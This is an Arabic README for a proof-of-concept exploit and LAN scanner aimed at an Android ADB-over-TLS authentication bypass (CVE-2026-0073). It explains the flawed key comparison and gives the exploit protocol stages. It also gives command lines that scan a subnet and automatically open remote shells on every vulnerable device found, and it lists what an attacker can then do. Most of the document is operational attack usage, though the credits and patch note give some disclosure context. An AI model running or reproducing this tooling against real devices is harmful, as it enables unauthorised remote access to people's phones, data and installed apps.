
أداة PoC لثغرة CVE-2026-0073 على أجهزة أندرويد 11+ والتي تتيح تنفيذ كود عن بُعد (RCE) فوري بدون أي نقرة على أي جهاز غير مُحدَّث مع تفعيل adb عبر tcp.
إثبات مفهوم للاستغلال وماسح شبكات لثغرة CVE-2026-0073، وهي ثغرة حرجة
لتنفيذ التعليمات البرمجية عن بُعد بدون أي تفاعل أو نقرة في مسار مصادقة
ADB-over-TCP في adbd بنظام أندرويد.
الثغرة هي خطأ منطقي في adbd_tls_verify_cert() (daemon/auth.cpp)
حيث يتم التعامل مع EVP_PKEY_cmp() كمسند منطقي (boolean). عند مقارنة مفتاح RSA مخزّن
بشهادة عميل TLS غير RSA (EC P-256 أو Ed25519)، تُرجع الدالة -1 (عدم تطابق النوع)،
وهي قيمة صحيحة (truthy) في C/C++. يؤدي هذا إلى ترقية عدم تطابق عبر الخوارزميات
إلى تطابق ناجح لمفتاح المضيف — متجاوزًا المصادقة بالكامل.
التفاصيل التقنية مأخوذة من BARGHEST.
كود PoC الأساسي مصدره SecTestAnnaQuinn.
تم تصحيحها في نشرة أمان أندرويد — مايو 2026.
| السمة | التفاصيل |
|---|---|
| متجه الهجوم | الشبكة (مجاور / قريب) |
| التفاعل | لا شيء (بدون نقرة) |
| الصلاحية المكتسبة | مستخدم shell (uid=2000)، SELinux u:r:shell:s0 |
| بدائية الاستغلال | وصول عن بُعد إلى الصدفة عبر ADB |
| CVSS | حرجة (9.8) |
من سياق shell يمكن للمهاجم فحص خصائص النظام، وحالة العمليات، والسجلات،
والإشعارات؛ وتثبيت وإزالة الحزم؛ واستخدام run-as ضد التطبيقات القابلة للتصحيح؛
وتجهيز استغلالات لاحقة.
| الملف | الغرض |
|---|---|
adb_tls_auth_bypass.py | PoC استغلال هدف واحد (أصلي من SecTestAnnaQuinn، مع تصحيح المجموع الاختباري) |
adbt_scanner.py | ماسح الشبكات — اكتشاف الأجهزة الضعيفة + استغلالها |
requirements.txt | تبعيات بايثون |
لكي ينجح الاستغلال، يجب أن يتوفر في جهاز أندرويد المستهدف ما يلي:
adbd على المنصة)/data/misc/adb/adb_keys# إنشاء بيئة افتراضية
uv venv
# تفعيلها
source .venv/bin/activate
# تثبيت التبعيات
uv pip install -r requirements.txt
التبعيات:
| الحزمة | المستخدمة بواسطة | مطلوبة؟ |
|---|---|---|
cryptography | كلا السكربتين (توليد شهادة EC، TLS) | نعم |
netifaces | الماسح (اكتشاف الشبكة الفرعية) | مفضلة |
zeroconf | الماسح (اكتشاف mDNS) | مفضلة |
scapy | الماسح (مسح ARP) | مفضلة |
يتدهور أداء الماسح بأمان عند غياب الحزم الاختيارية — سيصدر تحذيرًا
ويلجأ إلى طرق بديلة (أمر ip النظامي، nmap، فحص اتصال TCP).
مهاجمة جهاز ضعيف معروف مباشرة.
python3 adb_tls_auth_bypass.py 192.168.1.42 # صدفة تفاعلية
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
أو عبر الماسح:
python3 adbt_scanner.py --host 192.168.1.42 # صدفة تفاعلية
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
فحص الشبكة المحلية بحثًا عن الأجهزة الضعيفة واستغلال جميع الأهداف المؤكدة.
# فحص كامل: mDNS → ARP → فحص المنافذ → فحص ADB → استغلال
python3 adbt_scanner.py --scan
# تشغيل أمر محدد على جميع الأجهزة الضعيفة
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# استطلاع فقط — اكتشاف دون استغلال
python3 adbt_scanner.py --scan --no-exploit
# فحص منافذ متعددة
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# تجاوز الشبكة الفرعية المكتشفة (أجهزة متعددة الواجهات، نطاقات محددة)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# ضبط المهلات للشبكات البطيئة
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# تمديد نافذة استماع mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60
# تخطي مراحل اكتشاف محددة
python3 adbt_scanner.py --scan --no-mdns # تخطي mDNS، ARP فقط
python3 adbt_scanner.py --scan --no-arp # تخطي ARP، mDNS فقط
--scan فحص الشبكة بحثًا عن الأجهزة الضعيفة + استغلال
--host HOST استغلال مباشر لهدف واحد
--port PORT منفذ ADB لوضع --host (الافتراضي: 5555)
--cmd COMMAND أمر الصدفة للتشغيل
-v, --verbose تسجيل مفصّل
--mdns-timeout SECONDS مدة استماع mDNS (الافتراضي: 30)
--ports PORTS منافذ مفصولة بفواصل في وضع --scan (الافتراضي: 5555)
--subnet CIDR تجاوز الشبكة الفرعية المكتشفة (مثال: 192.168.2.0/24)
--connect-timeout SECONDS مهلة اتصال TCP (الافتراضي: 2.0)
--probe-timeout SECONDS مهلة فحص ADB (الافتراضي: 3.0)
--arp-timeout SECONDS مهلة مسح ARP (الافتراضي: 3)
--no-mdns تخطي اكتشاف mDNS
--no-arp تخطي مسح ARP + فحص المنافذ
--no-exploit التوقف بعد مرحلة فحص بروتوكول ADB
┌─────────────────────────────────────────────────────────────┐
│ 1. اكتشاف الشبكة الفرعية — netifaces → ip route → حيلة socket │
│ 2. مستمع mDNS — _adb-tls-connect._tcp (افتراضي 30 ثانية) │
│ 3. مسح ARP — scapy.arping → nmap -sn │
│ 4. فحص المنافذ — اتصال TCP لكل مضيف:منفذ │
│ 5. فحص بروتوكول ADB — إرسال CNXN، تصنيف الاستجابة │
│ │
│ STLS → ضعيف (المتابعة إلى الاستغلال) │
│ AUTH → مصادقة ADB قديمة (ليست هذه الثغرة) │
│ CNXN → مفتوح، بدون مصادقة (يمكن الوصول إليه بالفعل) │
│ NO_ADB → ليست خدمة ADB │
│ │
│ 6. الاستغلال — ترقية TLS → تجاوز المصادقة → صدفة │
└─────────────────────────────────────────────────────────────┘
mDNS هي الطريقة الأكثر دقة للتحديد: عند اقتران تصحيح الأخطاء اللاسلكي،
يبث أندرويد _adb-tls-connect._tcp بشكل صريح. يعمل مسح ARP +
فحص المنافذ كبديل شامل.
المرحلة 1 — ADB بنص واضح
العميل → CNXN(payload="host::features=...")
الجهاز → STLS (الترقية إلى TLS مطلوبة)
المرحلة 2 — TLS 1.3 مع شهادة عميل عبر الخوارزميات
العميل → رد STLS
العميل → مصافحة TLS 1.3 + شهادة عميل EC P-256
الجهاز يستدعي adbd_tls_verify_cert():
known_evp = مفتاح RSA من /data/misc/adb/adb_keys
evp_pkey = مفتاح EC P-256 من شهادة العميل
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (عدم تطابق النوع)
if (-1) → verified = true ← خطأ: -1 قيمة صحيحة
المرحلة 3 — طبقة خدمة ADB بعد TLS
العميل يفرغ CNXN الخاص بالجهاز (النقل متصل بالفعل)
لا يتم إرسال CNXN مضيف (سيؤدي إلى طرد handle_new_connection)
العميل → OPEN(local_id, window=32MB, payload="shell:\x00")
الجهاز → OKAY → تم إنشاء تدفق الصدفة
shell (uid=2000). اختراق النواة،
والوصول الجذري، ومفاتيح مخزن المفاتيح المدعومة بالأجهزة تتطلب
رفع صلاحيات إضافي./data/misc/adb/adb_keys. الجهاز الذي تمت إعادة ضبطه حديثًا مع تفعيل تصحيح الأخطاء اللاسلكي
ولكن لم يتم اقترانه أبدًا ليس ضعيفًا.AUTH، وليس STLS، ولا تتأثر بهذه الثغرة.EVP_PKEY_cmp ليتطلب قيمة إرجاع دقيقة
== 1.